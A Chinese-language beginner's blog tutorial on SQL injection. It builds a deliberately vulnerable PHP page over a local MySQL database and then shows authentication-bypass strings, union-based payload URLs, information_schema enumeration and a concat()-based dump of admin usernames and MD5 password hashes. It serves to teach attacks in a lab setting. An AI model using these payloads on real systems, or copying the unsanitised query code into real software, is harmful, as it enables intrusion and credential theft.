sql注入之入门

MySql基础语法

mysql无非就是增删改查

  • mysql数据库结构:
    • 数据库 test,test1
      • 表名 admin,manage
        • 数据 id,username,password

现在,为了我们接下来的实验,我们需要切换数据库到test,mysql自带一个test数据库,没有装mysql的自行百度
切换方式:

1
2
mysql> use test;
Database changed //有这条提示就切换成功了

create 创建表

首先我们先来创建一个表名为:admin,里面包含了id,username,password,email:

1
2
3
4
5
6
mysql> create table admin(
-> id int(3) auto_increment not null primary key,
-> username varchar(15) not null,
-> password char(32),
-> email varchar(30));
Query OK, 0 rows affected (0.01 sec) --有了这个提示就是创建成功了

现在我们已经成功创建了一个,可以用desc来查看表结构:

1
2
3
4
5
6
7
8
9
10
mysql> desc admin;
+----------+-------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+----------------+
| id | int(3) | NO | PRI | NULL | auto_increment |
| username | varchar(15) | NO | | NULL | |
| password | char(32) | YES | | NULL | |
| email | varchar(30) | YES | | NULL | |
+----------+-------------+------+-----+---------+----------------+
4 rows in set (0.04 sec)

insert 插入数据

接着上面的表,我们想表里面插入一条数据

1
2
mysql> insert into admin(username,password,email) values('smelond','qweqwe','[email protected]');		--为什么没有指定id列,因为我们在创建表时给id指定了自动增值(auto_increment)
Query OK, 1 row affected (0.00 sec)

select 查询语句

上面我们已经向数据库里面插入了一条数据了,现在我们可以查询一下是否插入成功

1
2
3
4
5
6
7
mysql> select * from admin;
+----+----------+----------+-------------------+
| id | username | password | email |
+----+----------+----------+-------------------+
| 1 | smelond | qweqwe | [email protected] |
+----+----------+----------+-------------------+
1 row in set (0.00 sec) --已经看到了,数据已经插入进去,并且id号为1,如果我们下次插入id号会自动增长

update 修改表中的数据

现在我们为admin数据表在次插入一条数据

1
2
mysql> insert into admin(username,password,email) values('admin','qweqwe','[email protected]');
Query OK, 1 row affected (0.00 sec)

插入完成以后用updata修改admin的密码为asdasd,(从原来的qweqwe修改为asdasd)

1
2
3
mysql> update admin set password='asdasd' where username='admin';	--修改passwrod为asdasd,条件是username=admin
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0

接着我们查询一下是否修改成功

1
2
3
4
5
6
7
8
mysql> select * from admin;
+----+----------+----------+-------------------+
| id | username | password | email |
+----+----------+----------+-------------------+
| 1 | smelond | qweqwe | [email protected] |
| 2 | admin | asdasd | [email protected] |
+----+----------+----------+-------------------+
2 rows in set (0.00 sec)

delete 删除表中的数据

上面我们已经向表中插入了两条数据了
现在我们试着将表中的数据删除

1
2
3
4
5
mysql> delete from admin where username='admin';
Query OK, 1 row affected (0.00 sec)

mysql> delete from admin where id=1;
Query OK, 1 row affected (0.00 sec)

可以看到我上面已经删除了两条数据,
现在查询admin数据库里面应该什么都没有

1
2
mysql> select * from admin;
Empty set (0.00 sec)

常见的方式手工判断网站是否可以注入

1
2
3
4
5
6
7
1=1 and 1=2
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1/*
' or 1=1#




SQL注入的准备

什么是SQL注入攻击?

SQL攻击(英语:SQL injection),简称注入攻击,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。(引用wiki)

sql注入实验环境:

  • phpstudy集成环境
  • IDE:sublime text3
  • 没有的自行百度!!!

编写一个有漏洞的PHP代码

首先我们需要启动mysql,创建一个数据库命名为sqlin,并且切换过去 use sqlin

1
2
create database sqlin default character set utf8 collate utf8_general_ci;
use sqlin;

创建admin表和page表:

1
2
3
4
5
6
7
8
mysql> create table admin(
-> id int(3) auto_increment not null primary key,
-> username varchar(15) not null,
-> password char(32));
mysql> create table page(
-> id int(3) auto_increment not null primary key,
-> title varchar(20),
-> content varchar(255));

向admin、page表里面分别插入数据

1
2
3
4
mysql> insert into admin(username,password) values('smelond','efe6398127928f1b2e9ef3207fb82663');
mysql> insert into admin(username,password) values('admin','efe6398127928f1b2e9ef3207fb82663');
mysql> insert into page(title,content) values('sqlzhuru','https://smelond.com');
mysql> insert into page(title,content) values('test','smelond.com');

上面的efe6398127928f1b2e9ef3207fb82663是32位的md5值,没加密之前是qweqwe

然后我们查询一下是数据是否插入成功:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mysql> select * from admin;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | smelond | efe6398127928f1b2e9ef3207fb82663 |
| 2 | admin | efe6398127928f1b2e9ef3207fb82663 |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)
mysql> select * from page;
+----+----------+---------------------+
| id | title | content |
+----+----------+---------------------+
| 1 | sqlzhuru | https://smelond.com |
| 2 | test | smelond.com |
+----+----------+---------------------+
2 rows in set (0.00 sec)

解释一下,为什么我们创建了一个数据库会又在数据库里面创建了两个表?为什么不是一个表?
原因是因为:

  1. 在真实的网站案例中,没有管理员会把所有的数据都放在一个表中,而是多个表、多个数据库(方便管理)。
  2. 放在一个表中查询很麻烦,比如文章,用户名,一些个人信息等。
  3. 还有很多很多原因。。。

编写php代码

没学过php,代码写的不行,路过的大神可以帮忙看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<title>sql注入</title>
</head>
<body>
<!--
author: smelond
filename: index.php
blog: http://smelond.com
-->
<body/>
</html>
<?php
$id = $_GET['x'];
$link=mysqli_connect("127.0.0.1","root","root","sqlin");//连接数据库
if ($link) {//判断数据库是否存在
mysqli_query($link,"set names utf8");//设置编码格式
$sql="select * from page where id=$id";//查询
$re=mysqli_query($link,$sql);//执行查询语句
$data=mysqli_fetch_assoc($re);//获取数据库返回的内容
echo "文章id:".$data['id']."<hr />";
echo "文章标题:".$data['title']."<hr />";
echo "文章内容:".$data['content']."<hr />";
echo "当前执行sql语句:".$sql;
}else{
echo "好像出错了,原因有很多...所以你先去看看你的数据库配置好没。。。";
}
?>

上面的代码中,我们连接数据库是slqin,查询的数据表时page,并没有用到admin那个表,因为网页显示的是文章或一些其他的内容。




开始我们的表演

我刚刚已经将我写的代码放到了phpstudy的WWW目录下了
我的路径是:D:\phpStudy\PHPTutorial\WWW\webpentest\mysql\index.php
现在开始访问网站

1
http://127.0.0.1/webpentest/mysql/index.php

访问进入之后可能就是一些报错信息,不管这些,因为页面上的内容是从数据库里面调用的,然后在index.php后面加上?x=1

1
http://127.0.0.1/webpentest/mysql/index?x=1		//?x=1意思是从数据库里面找id=1的内容

现在看看,网页上面是否有了正常数据库了呢

简单的判断是否存在注入

判断网站是否存在注入,可以先试着在?x=1后面加上and 1=1、and 1=2

  • 加上and 1=1会返回正常页面,如果出现安全狗之类的(实战中)错误,以后再说
  • 加上and 1=2返回页面错误,就可能有注入了,因为页面上的内容是到数据库里面查询返回结果的
    • 加上and 1=2时,看下面语句:
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      mysql> select * from page where id=1 and 1=1;
      +----+----------+---------------------+
      | id | title | content |
      +----+----------+---------------------+
      | 1 | sqlzhuru | https://smelond.com |
      +----+----------+---------------------+
      1 row in set (0.00 sec) //正常返回

      mysql> select * from page where id=1 and 1=2;
      Empty set (0.00 sec) //看吧,没有返回,所以网页上面没有内容

在页面后面加上 and 1=2,没有正常返回结果,那当然就是有注入了
Alt text
看到当前执行的语句为:select * from page where id=1 and 1=2

查询数据库信息

  • order by number //判断字段
  • union select 1,2,3… //将两个表合并一起查询
  • database() //数据库名
  • user() //数据库用户
  • version() //数据库版本
  • @@version_compile_os //操作系统

拿上刚刚写的页面测试order by

接着 union

  • http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,2,3
    又有了同学问道,为啥前面要加上and 1=2 ?
    原因是因为:先让网页报错,然后进行union后面的查询,这样后面查询的内容才会显示在网页上。
    网页已经显示出了我们查询的1,2,3
    Alt text

再来查询数据库名,数据库用户,数据库版本

一个小小的提示:

  • mysql5.0以上的数据库自带:information_schema
  • information_schema数据库存储了mysql下所有的数据库、表名、列名
    请你一定记住这个,而且现在基本都是mysql5.0以上的数据库了

information_schema表该怎么用?

现在我们已经获取到了数据库名:sqlin;数据库用户:root;数据库版本:5.5.53
在数据库查询语句中”.”表示下一级的意思

  • information_schema.schemata
    • information_schema数据库里面的schemata表,他里面存储了所有数据库名称。
  • information_schema.tables
    • information_schema数据库里面的tables表,他里面存储了所有数据库下的表名信息。
  • information_schema.columns:
    • information_schema数据库里面的columns表,他里面存储了所有数据库下的列名信息。
  • table_schema 数据表所属的数据库名
  • table_name 表名称
  • column_name 列名称
  • schema_name 数据库名

获取数据库下的表名信息

然后我们现在来试着获取sqlin数据库下的所有表名信息:

1
2
3
4
5
http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select table_name,2,3 from information_schema.tables where table_schema='sqlin' limit 0,1
// limit 0,1表示从0开始,取1个,然后我们拿到了数据库sqlin下的数据表admin

http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select table_name,2,3 from information_schema.tables where table_schema='sqlin' limit 1,1
// limit 1,1表示从1开始,取1个,然后我们又拿到数据库sqlin下的数据库page

同时取多个:
首先我们试试:

1
2
http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select table_name,table_name,3 from information_schema.tables where table_schema='sqlin' limit 0,2
// 返回内容发现两个都是admin,显然,这种limit 0,2的方法是不行的,因为并没有显示page表

再试试:

1
2
3
4
http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select table_name,(select table_name from information_schema.tables where table_schema='sqlin' limit 1,1),3 from information_schema.tables where table_schema='sqlin' limit 0,2
// 从0开始,取两个,第二个会显示出来admin,为了让他显示page,所以我果断的将table_name改为了
// (select table_name from information_schema.tables where table_schema='sqlin' limit 1,1)
// 在这个里面,查询出来的很明显就应该是page,所以同时就取出来了两个

Alt text

我们在数据库里面简单的测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mysql> select table_name,2,3 from information_schema.tables where table_schema='sqlin' limit 0,1;
+------------+---+---+
| table_name | 2 | 3 |
+------------+---+---+
| admin | 2 | 3 |
+------------+---+---+
1 row in set (0.00 sec)

mysql> select table_name,2,3 from information_schema.tables where table_schema='sqlin' limit 1,1;
+------------+---+---+
| table_name | 2 | 3 |
+------------+---+---+
| page | 2 | 3 |
+------------+---+---+
1 row in set (0.00 sec)

mysql> select table_name,(select table_name from information_schema.tables where table_schema='sqlin' limit 1,1),2 from information_schema.tables where table_schema='sqlin' limit 0,1;
+------------+-----------------------------------------------------------------------------------------+---+
| table_name | (select table_name from information_schema.tables where table_schema='sqlin' limit 1,1) | 2 |
+------------+-----------------------------------------------------------------------------------------+---+
| admin | page | 2 |
+------------+-----------------------------------------------------------------------------------------+---+
1 row in set (0.00 sec)

现在我们已经获取到一下内容:

  • 网站数据库名: sqlin
  • 数据库版本: 5.5.53
  • 数据库用户: root
  • 当前网站数据库下的表名: 分别为admin,page

获取数据库下的表名下的列名信息

上面我们已经获取到了sqlin数据库,并且获取到了sqlin数据库下面的admin表,以及page表
从表的名称可以看出,admin表肯定是存储用户登录账户和密码的

继续获取admin表里面的列名信息:

1
2
3
4
5
6
http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select column_name,2,3 from information_schema.columns where table_name='admin' limit 0,1
// 获取到了id列名
http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select column_name,2,3 from information_schema.columns where table_name='admin' limit 1,1
// 获取到了user列名
http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select column_name,2,3 from information_schema.columns where table_name='admin' limit 2,1
// 获取到了password列名

需要的东西都已经获取到了:
网站数据库:sqlin
数据库下的表:admin,page
admin表下的列名:id,username,password

还差最后一步,获取username,password里面的内容

这就简单了,没有之前那么繁琐
只需要查询即可:

1
2
3
http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select username,password,3 from admin
smelond
efe6398127928f1b2e9ef3207fb82663

Alt text




偶然发现了一个很好玩的函数concat()

concat函数用于连接两个或多个字符串,形成一个字符串。
好了,现在有同学问,这个函数在sql注入中有什么作用?
cmd里面打开我们的mysql 测试一下就知道了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
mysql> select concat(123,':::','qwe');
+-------------------------+
| concat(123,':::','qwe') |
+-------------------------+
| 123:::qwe |
+-------------------------+
1 row in set (0.00 sec)

mysql> select concat(123,'qwe');
+-------------------+
| concat(123,'qwe') |
+-------------------+
| 123qwe |
+-------------------+
1 row in set (0.00 sec)
mysql> select concat('用户名:','smelond','密码:','qweqwe');
+------------------------------------------------+
| concat('用户名:','smelond','密码:','qweqwe') |
+------------------------------------------------+
| 用户名:smelond密码:qweqwe |
+------------------------------------------------+
1 row in set, 2 warnings (0.00 sec)

现在好像知道有啥用了,哈哈!!!
比如我们在进行sql注入时,发现只有一个地方有回显,但是想同时查询username,password,等多个内容,这个时候我们就可以用concat()

好了,我还是拿着代码去试试吧。

1
2
3
4
5
6
7
8
http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select concat('<br>账号:',username,'<br>','密码:',password),2,3 from admin
输出结果:
// 账号:smelond
// 密码:efe6398127928f1b2e9ef3207fb82663

http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select concat(username,'>>>',password),2,3 from admin
输出结果:
// smelond>>>efe6398127928f1b2e9ef3207fb82663

当然不止上面这个一点用法咯,还有:

1
http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,concat(table_name,':',(select table_name from information_schema.tables where table_schema='sqlin' limit 1,1)),3 from information_schema.tables where table_schema='sqlin' limit 0,1

Alt text

这回好像没毛病了吧,哈哈,emmmmmmmmm!!!

最后,记得拿着md5值去解密。。。

efe6398127928f1b2e9ef3207fb82663 == qweqwe

本文标题:sql注入之入门

文章作者:smelond

发布时间:2018年03月28日 - 20:03

最后更新:2018年04月04日 - 09:04

原始链接:http://smelond.com/2018/03/28/sql注入之入门/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

分享